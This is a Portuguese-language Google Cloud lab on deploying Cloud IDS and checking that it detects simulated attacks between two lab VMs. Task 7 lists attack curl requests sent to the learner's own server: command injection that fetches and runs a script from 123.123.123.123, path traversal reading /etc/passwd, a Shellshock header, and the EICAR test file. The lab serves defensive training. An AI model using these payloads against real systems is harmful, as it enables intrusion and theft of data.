arrow_back

Introdução ao Cloud IDS

Quick tip: Review the prerequisites before you run the lab
Use an Incognito or private browser window to run this lab. This prevents any conflicts between your personal account and the student account, which may cause extra charges incurred to your personal account.
Teste e compartilhe seu conhecimento com nossa comunidade.
done
Tenha acesso a mais de 700 laboratórios, selos de habilidade e cursos

Introdução ao Cloud IDS

Laboratório 1 hora 15 minutos universal_currency_alt 5 créditos show_chart Introdutório
info Este laboratório pode incorporar ferramentas de IA para ajudar no seu aprendizado.
Teste e compartilhe seu conhecimento com nossa comunidade.
done
Tenha acesso a mais de 700 laboratórios, selos de habilidade e cursos

Informações gerais

Neste laboratório, você vai implantar o Sistema de detecção de intrusões do Cloud (Cloud IDS), um serviço avançado de detecção de intrusões de última geração com detecção de ameaças de invasões, malware, spyware e ataques de comando e controle. Você vai simular diversos ataques e conferir os detalhes das ameaças no console do Google Cloud.

Diagrama de infraestrutura do Cloud IDS

Objetivos

Neste laboratório, você vai aprender a:

  • Criar um ambiente de rede do Google Cloud como o mostrado no diagrama anterior.
  • Criar um endpoint do Cloud IDS.
  • Criar duas máquinas virtuais usando comandos da gcloud CLI.
  • Criar uma política de espelhamento de pacotes do Cloud IDS.
  • Simular tráfego de ataque de uma máquina virtual.
  • Conferir os detalhes das ameaças no console do Cloud e no Cloud Logging.

Configuração

Para cada laboratório, você recebe um novo projeto do Google Cloud e um conjunto de recursos por um determinado período sem custo financeiro.

  1. Clique no botão Começar o laboratório. Se for preciso pagar, você verá um pop-up para selecionar a forma de pagamento. No painel Detalhes do laboratório à esquerda, você vai encontrar o seguinte:

    • O botão Abrir console do Google Cloud
    • O tempo restante
    • As credenciais temporárias que você vai usar neste laboratório
    • Outras informações, se forem necessárias
  2. Se você estiver usando o navegador Chrome, clique em Abrir console do Google Cloud ou clique com o botão direito do mouse e selecione Abrir link em uma janela anônima.

    O laboratório ativa os recursos e depois abre a página Fazer login em outra guia.

    Dica: coloque as guias em janelas separadas lado a lado.

    Observação: se aparecer a caixa de diálogo Escolher uma conta, clique em Usar outra conta.
  3. Se necessário, copie o Nome de usuário abaixo e cole na caixa de diálogo Fazer login.

    {{{user_0.username | "Nome de usuário"}}}

    Você também encontra o Nome de usuário no painel Detalhes do laboratório.

  4. Clique em Seguinte.

  5. Copie a Senha abaixo e cole na caixa de diálogo de boas-vindas.

    {{{user_0.password | "Senha"}}}

    Você também encontra a Senha no painel Detalhes do laboratório.

  6. Clique em Seguinte.

    Importante: você precisa usar as credenciais fornecidas no laboratório, e não as da sua conta do Google Cloud. Observação: se você usar sua própria conta do Google Cloud neste laboratório, é possível que receba cobranças adicionais.
  7. Acesse as próximas páginas:

    • Aceite os Termos e Condições.
    • Não adicione opções de recuperação nem autenticação de dois fatores (porque essa é uma conta temporária).
    • Não se inscreva em testes gratuitos.

Depois de alguns instantes, o console do Google Cloud será aberto nesta guia.

Observação: para acessar uma lista de produtos e serviços do Google Cloud, clique no Menu de navegação no canto superior esquerdo ou digite o nome do serviço ou produto no campo Pesquisar. Ícone do menu de navegação

Ative o Google Cloud Shell

O Google Cloud Shell é uma máquina virtual com ferramentas de desenvolvimento. Ele tem um diretório principal permanente de 5 GB e é executado no Google Cloud.

O Cloud Shell oferece acesso de linha de comando aos recursos do Google Cloud.

  1. No console do Cloud, clique no botão "Abrir o Cloud Shell" na barra de ferramentas superior direita.

    Ícone do Cloud Shell em destaque

  2. Clique em Continuar.

O provisionamento e a conexão do ambiente podem demorar um pouco. Quando você estiver conectado, já estará autenticado, e o projeto estará definido com seu PROJECT_ID. Exemplo:

ID do projeto em destaque no terminal do Cloud Shell

A gcloud é a ferramenta de linha de comando do Google Cloud. Ela vem pré-instalada no Cloud Shell e aceita preenchimento com tabulação.

  • Para listar o nome da conta ativa, use este comando:
gcloud auth list

Saída:

Credentialed accounts: - @.com (active)

Exemplo de saída:

Credentialed accounts: - google1623327_student@qwiklabs.net
  • Para listar o ID do projeto, use este comando:
gcloud config list project

Saída:

[core] project =

Exemplo de saída:

[core] project = qwiklabs-gcp-44776a13dea667a6 Observação: a documentação completa da gcloud está disponível no guia com informações gerais sobre a gcloud CLI .

Neste laboratório, você vai usar os comandos da CLI gcloud no Cloud Shell.

Tarefa 1: ativar APIs

Nesta tarefa, você vai definir a variável ID do projeto e depois ativar as APIs necessárias para o laboratório.

  1. No Cloud Shell, para definir a variável de ambiente Project_ID, execute o seguinte comando:
export PROJECT_ID=$(gcloud config get-value project | sed '2d')
  1. Ative a API Service Networking:
gcloud services enable servicenetworking.googleapis.com \ --project=$PROJECT_ID

Se for preciso autorizar o comando, clique em Autorizar.

  1. Ative a API Cloud IDS:
gcloud services enable ids.googleapis.com \ --project=$PROJECT_ID
  1. Ative a API Cloud Logging:
gcloud services enable logging.googleapis.com \ --project=$PROJECT_ID

Clique em Verificar meu progresso para conferir o objetivo. Ativar APIs.

Tarefa 2: criar uma base de rede do Google Cloud

Nesta tarefa, você vai criar uma rede de VPC do Google Cloud e configurar o acesso a serviços particulares.

O acesso a serviços particulares é uma conexão privada entre sua rede VPC e uma rede de propriedade do Google ou de terceiros. O Google ou o terceiro, entidades que oferecem serviços, também são conhecidos como produtores de serviços.

A conexão particular permite que instâncias de máquina virtual (VM) na sua rede VPC e os serviços que você acessa se comuniquem exclusivamente usando endereços IP internos.

  1. No Cloud Shell, para criar uma VPC, execute o comando a seguir:
gcloud compute networks create cloud-ids \ --subnet-mode=custom

Se for preciso autorizar o comando, clique em Autorizar.

  1. Adicione uma sub-rede à VPC para tráfego espelhado na região us-east1:
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
  1. Configure o acesso a serviços particulares:
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
  1. Crie uma conexão particular:
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID

Clique em Verificar meu progresso para conferir o objetivo. Criar uma VPC.

Tarefa 3: criar um endpoint do Cloud IDS

Nesta tarefa, você vai criar um endpoint do Cloud IDS em us-east1 com a gravidade definida como informativa.

O Cloud IDS usa um recurso zonal chamado endpoint do IDS, que consegue inspecionar o tráfego de qualquer zona na região. Cada endpoint recebe tráfego espelhado e realiza análises para a detecção de ameaças.

Observação: a criação do endpoint do IDS leva aproximadamente 20 minutos.
  1. Para criar um endpoint do Cloud IDS, execute o comando a seguir no Cloud Shell:
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
  1. Verifique se o endpoint do Cloud IDS foi iniciado:
gcloud ids endpoints list --project=$PROJECT_ID

Se a mensagem Would you like to enable and retry aparecer, pressione Y.

A saída será semelhante a esta:

ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:

Clique em Verificar meu progresso para conferir o objetivo. Criar um endpoint do Cloud IDS.

Tarefa 4: criar regras de firewall e um Cloud NAT

Nesta tarefa, você vai criar duas regras de firewall: allow-http-icmp e allow-iap-proxy.

Para ativar as conexões de porta http padrão (TCP 80) e conexões do protocolo ICMP para a VM do servidor de todas as fontes na rede cloud-ids, você precisa definir a regra allow-http-icmp.

Para ativar as conexões SSH às VMs do intervalo de IP do Identity-Aware Proxy, você precisa definir a regra allow-iap-proxy_.

Você também tem que configurar o Cloud Router e depois o Cloud NAT. Como um pré-requisito do Cloud NAT, o Cloud Router precisa ser configurado antes na mesma região. Para fornecer acesso à Internet para VMs que não têm um endereço IP público, é necessário criar um Cloud NAT na mesma região. As VMs serão criadas sem um endereço IP público para garantir que fiquem inacessíveis pela Internet. No entanto, é necessário ter acesso à Internet para fazer o download de atualizações e de arquivos.

  1. Para criar a regra allow-http-icmp, execute o comando a seguir no Cloud Shell:
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
  1. Crie a regra allow-iap-proxy:
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20

Clique em Verificar meu progresso para conferir o objetivo. Adicionar regras de firewall à VPC.

  1. Para criar um Cloud Router, execute o seguinte comando:
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
  1. Para configurar um Cloud NAT, execute o seguinte comando:
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges

Clique em Verificar meu progresso para conferir o objetivo. Criar um Cloud Router.

Tarefa 5: criar duas máquinas virtuais

Nesta tarefa, você vai criar duas máquinas virtuais (VMs). A primeira máquina virtual será seu servidor da Web, que será espelhado no Cloud IDS. A segunda será a origem do seu tráfego de ataque.

Você vai estabelecer uma conexão SSH com seu servidor pelo Identity-Aware Proxy (IAP), verificar o status do seu servidor de serviço da Web, criar um arquivo de malware benigno no servidor da Web e depois adicionar conteúdo ao arquivo.

  1. Para criar uma máquina virtual para ser um servidor que será espelhado no Cloud IDS, execute o seguinte comando no Cloud Shell:
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-11-bullseye-v20240709 \ --image-project=debian-cloud \ --boot-disk-size=10GB

Esse comando cria um servidor Debian em us-east1 e instala um serviço da Web simples.

  1. Crie uma máquina virtual para ser um cliente enviando tráfego de ataque:
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-11-bullseye-v20240709 \ --image-project=debian-cloud \ --boot-disk-size=10GB

Esse comando prepara um servidor Debian em us-east1 para ser usado como seu cliente.

Clique em Verificar meu progresso para conferir o objetivo. Criar uma máquina virtual.

Prepare seu servidor

Neste procedimento, você vai validar seu servidor e depois criar um payload de malware benigno para seu cliente.

  1. Para estabelecer uma conexão SSH ao seu servidor por IAP, execute o seguinte comando:
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Esse comando vai guiar você por uma série de etapas para criar uma chave SSH e os diretórios necessários.

  1. Para aceitar o prompt de criação de diretório, digite Y.

  2. Quando uma senha longa for solicitada, se quiser deixá-la em branco, pressione ENTER duas vezes.

Agora você está no shell da sua VM de servidor.

Confirme se o serviço da Web está em execução

Neste procedimento, você vai conferir o status do seu servidor de serviço da Web. Você vai criar um arquivo de malware benigno no servidor da Web e depois adicionar conteúdo ao arquivo.

  1. Para conferir o status do seu serviço da Web, execute o seguinte comando do Linux:
sudo systemctl status nginx

A saída será semelhante a esta:

● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24 min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
  1. Altere o diretório para o serviço da Web:
cd /var/www/html/
  1. Crie um arquivo de malware benigno no servidor da Web. Execute o comando do Linux a seguir para criar um arquivo de texto:
sudo touch eicar.file
  1. Acrescente o conteúdo a seguir ao arquivo recém-criado:
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
  1. Saia do shell da VM do servidor e volte ao Cloud Shell:
exit

Tarefa 6: criar uma política de espelhamento de pacotes do Cloud IDS

Nesta tarefa, você vai criar uma política de espelhamento de pacotes do Cloud IDS. Essa política determina qual tráfego será espelhado para o Cloud IDS. Depois você vai associar essa política ao endpoint recém-criado do Cloud IDS.

Como mencionamos antes, a criação do endpoint do Cloud IDS leva um tempo. Antes de prosseguir com este laboratório, o endpoint precisa estar em um estado ativo/pronto.

Para verificar se o endpoint do Cloud IDS está ativo, execute o comando a seguir no Cloud Shell para mostrar o estado atual do endpoint do Cloud IDS:

gcloud ids endpoints list --project=$PROJECT_ID | grep STATE

A saída será semelhante a esta:

STATE: READY

Continue executando esse comando em intervalos de alguns minutos até que o estado apareça como READY.

  1. Identifique a regra de encaminhamento do endpoint do Cloud IDS e confirme se o estado do endpoint do Cloud IDS é READY:
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE

A saída será semelhante a esta:

https://www.googleapis.com/compute/v1/projects/md975a7fa0a53145dp-tp/regions/us-east1/forwardingRules/ids-fr-cloud--xkkerutlagop6opm

  1. Crie e vincule a política de espelhamento de pacotes:
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1

Clique em Verificar meu progresso para conferir o objetivo. Criar e vincular a política de espelhamento de pacotes.

  1. Verifique se a política de espelhamento de pacotes foi criada:
gcloud compute packet-mirrorings list

Esse comando da gcloud lista as políticas de espelhamento de pacotes e mostra se elas estão ativadas ou desativadas.

A saída será semelhante a esta:

NAME: cloud-ids-packet-mirroring REGION: us-east1 NETWORK: cloud-ids ENABLE: TRUE

Tarefa 7: simular tráfego de ataque

Nesta tarefa, você vai estabelecer uma conexão SSH com sua máquina virtual invasora e simular tráfego de ataque de uma máquina virtual para seu servidor. Para fazer isso, você vai executar uma seleção de comandos curl que vão de gravidade baixa até crítica.

  1. Para estabelecer uma conexão SSH à sua máquina virtual invasora pelo IAP, execute o seguinte comando no Cloud Shell:
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap Observação: agora você está no shell da sua VM invasora, e não na máquina do Cloud Shell.
  1. Execute as solicitações de curl a seguir em sequência para simular alertas de gravidade baixa, média, alta e crítica no IDS:

Gravidade baixa:

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"

Gravidade média:

curl http://192.168.10.20/?item=../../../../WINNT/win.ini curl http://192.168.10.20/eicar.file

Gravidade alta:

curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd

Gravidade crítica:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
  1. Saia do shell da máquina invasora e volte para o Cloud Shell:
exit

Tarefa 8: analisar as ameaças detectadas pelo Cloud IDS

Nesta tarefa, você vai analisar os vários tráfegos de ataque capturados pelo Cloud IDS no console do Cloud. Os perfis de tráfego de ataque capturados têm detalhes de cada ameaça.

  1. No console do Google Cloud, no Menu de navegação (Menu de navegação), clique em Segurança da rede > Cloud IDS.

  2. Clique na aba Ameaças.

O Cloud IDS capturou diversos perfis de tráfego de ataque e informou os detalhes de cada ameaça. Pode ser necessário clicar em Atualizar se nenhuma ameaça aparecer. Agora você vai se aprofundar um pouco mais e consultar os detalhes das ameaças.

  1. Localize a ameaça Bash Remote Code Execution Vulnerability, clique em Mais (Botão "Mais") e depois selecione Ver detalhes da ameaça.
Observação: você já deve ter percebido que há diversas ameaças que produzem o mesmo nome, por exemplo, “Bash Remote Code Execution Vulnerability”. Esse comportamento é esperado.

Se você prestar atenção, vai notar que os IDs de sessão das ameaças são diferentes. Como as duas VMs criadas estão na mesma sub-rede, os pacotes são espelhados para o cliente e para o servidor. São espelhados no IDS pacotes de saída do cliente e pacotes de entrada para o servidor.
  1. Agora é possível conferir os detalhes do incidente no Cloud Logging. Para voltar à página de Ameaças, clique na seta para a esquerda.

  2. Clique na aba Ameaças.

  3. Localize Bash Remote Code Execution Vulnerability, clique em Mais e depois selecione Ver detalhes da ameaça.

Uma nova aba do Cloud Logging será aberta mostrando os mesmos detalhes. Dessa forma, você vai conseguir enviar os registros para o Cloud Storage, o Chronicle ou qualquer SIEM/SOAR. Também é possível criar fluxos de trabalho personalizados para tomar medidas de correção com base em alertas, como criar uma função do Cloud que dispara um alerta e criar ou atualizar uma regra de firewall para bloquear o endereço IP, ou criar/atualizar uma política do Google Cloud Armor.

Clique em Verificar meu progresso para conferir o objetivo. Introdução ao Cloud IDS.

Parabéns!

Neste laboratório, você:

  1. Criou uma nova VPC e implantou um endpoint do Cloud IDS.

  2. Implantou duas VMs, criou uma política de espelhamento de pacotes e depois enviou tráfego de ataque.

  3. Verificou que o Cloud IDS capturou as ameaças ao conferir os detalhes delas no console do Cloud e os registros de ameaças no Cloud Logging.

Mais recursos

Aumente sua experiência no Cloud IDS com os seguintes laboratórios:

Finalize o laboratório

Clique em Terminar o laboratório após a conclusão. O Google Cloud Ensina remove os recursos usados e limpa a conta por você.

Você vai poder avaliar sua experiência no laboratório. Basta selecionar o número de estrelas, digitar um comentário e clicar em Enviar.

O número de estrelas indica o seguinte:

  • 1 estrela = muito insatisfeito
  • 2 estrelas = insatisfeito
  • 3 estrelas = neutro
  • 4 estrelas = satisfeito
  • 5 estrelas = muito satisfeito

Feche a caixa de diálogo se não quiser enviar feedback.

Para enviar seu feedback, fazer sugestões ou correções, use a guia Suporte.

Copyright 2020 Google LLC. Todos os direitos reservados. Google e o logotipo do Google são marcas registradas da Google LLC. Todos os outros nomes de produtos e empresas podem ser marcas registradas das respectivas empresas a que estão associados.

Before you begin

  1. Labs create a Google Cloud project and resources for a fixed time
  2. Labs have a time limit and no pause feature. If you end the lab, you'll have to restart from the beginning.
  3. On the top left of your screen, click Start lab to begin

Este conteúdo não está disponível no momento

Você vai receber uma notificação por e-mail quando ele estiver disponível

Ótimo!

Vamos entrar em contato por e-mail se ele ficar disponível

One lab at a time

Confirm to end all existing labs and start this one

Use private browsing to run the lab

Use an Incognito or private browser window to run this lab. This prevents any conflicts between your personal account and the Student account, which may cause extra charges incurred to your personal account.